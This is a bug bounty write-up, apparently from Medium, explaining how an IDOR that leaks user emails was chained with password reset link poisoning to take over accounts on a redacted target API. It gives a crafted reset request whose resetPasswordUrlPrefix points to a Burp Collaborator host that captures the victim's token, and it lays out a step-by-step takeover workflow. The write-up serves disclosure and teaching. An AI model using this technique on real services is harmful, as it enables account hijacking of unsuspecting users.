InfoSec Write-ups – Medium–
Chaining password reset link poisoning, IDOR+account information leakage to achieve account takeover at https://api.redacted.com
While assessing a target web application for impactful vulnerabilities, a useful check to conduct might be looking through the waybackmachine https://archive.org/web/ to discover URL endpoints that have existed on the target over time. Some of these endpoints might expose critcal functionality that could then be tested for bugs. This happened to be the case for a bug bounty target i was hunting on.
A user could reset their account password through the following endpoint. https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com
While doing recon, i like to automate the process of finding URL’s using this tool waybackurls. My waybackurls search revealed an earlier rendition of the password reset endpoint that included an interesting parameter (resetPasswordUrlPrefix).
Also interesting to note was that there were no access controls on the /v3/users/ endpoint so a GET request to this endpoint along with a modification of the email parameter or handle parameter would enable an enduser to retrieve information belonging to another user by simply suppliying another email address or handle. (Handles were publically available while emails were leaked through this endpoint). This information was vital for the account takeover.
So an idea came to mind while trying to figure out the use of the resetPasswordUrlPrefix parameter. What if i supplied a payload from burpcollaborator while resetting my account password?
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
The results were some DNS and HTTP reactions from my burpcollaborator client indicating that the password reset token was leaked in the referer header. This information was sufficient for a POC
The workflow would look like this;
- Register two or more accounts for testing purposes and login to one account.
2. Make a request to the affected endpoint replacing the email address or handle with one belonging to your victim account.
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
3. The victim account will receive a password reset link prefixed with a URL generated by the attacker.
4.Once the victim clicks on the poisoned link sent by the attacker , the attacker will receive a request to his/her domain with the victim’s password reset token captured through the referer header.
5. The account takeover is complete when the attacker loads the the reset link in a browser and sets a new password for the victim account.
This turned out to be a duplicate issue. (Meaning somebody else had already reported it to the program) but a particularly cool bug none the less.
I hope you enjoyed this writeup and learned something from it. Till next time, happy hunting!
Chaining password reset link poisoning, IDOR+account information leakage to achieve account… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
Hacker's Directory 